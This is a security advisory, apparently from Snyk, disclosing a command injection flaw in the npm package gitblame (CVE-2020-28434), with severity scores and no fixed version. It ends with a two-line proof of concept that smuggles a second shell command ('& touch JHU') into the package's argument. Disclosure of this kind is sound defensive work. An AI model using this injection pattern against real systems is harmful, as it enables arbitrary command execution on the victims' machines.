Command Injection Affecting gitblame package, versions *
Snyk CVSS
Attack Complexity
Low
Confidentiality
High
Integrity
High
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.25% (65th
percentile)
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Test your applications- Snyk ID SNYK-JS-GITBLAME-1050430
- published 26 Jan 2021
- disclosed 26 Jan 2021
- credit JHU System Security Lab
Introduced: 26 Jan 2021
CVE-2020-28434 Open this link in a new tabHow to fix?
There is no fixed version for gitblame.
Overview
gitblame is a package that uses git blame to find out who modified a file.
Affected versions of this package are vulnerable to Command Injection. The injection point is located in line 15 in lib/gitblame.js.
PoC
var a =require("gitblame");
a("& touch JHU",function(){})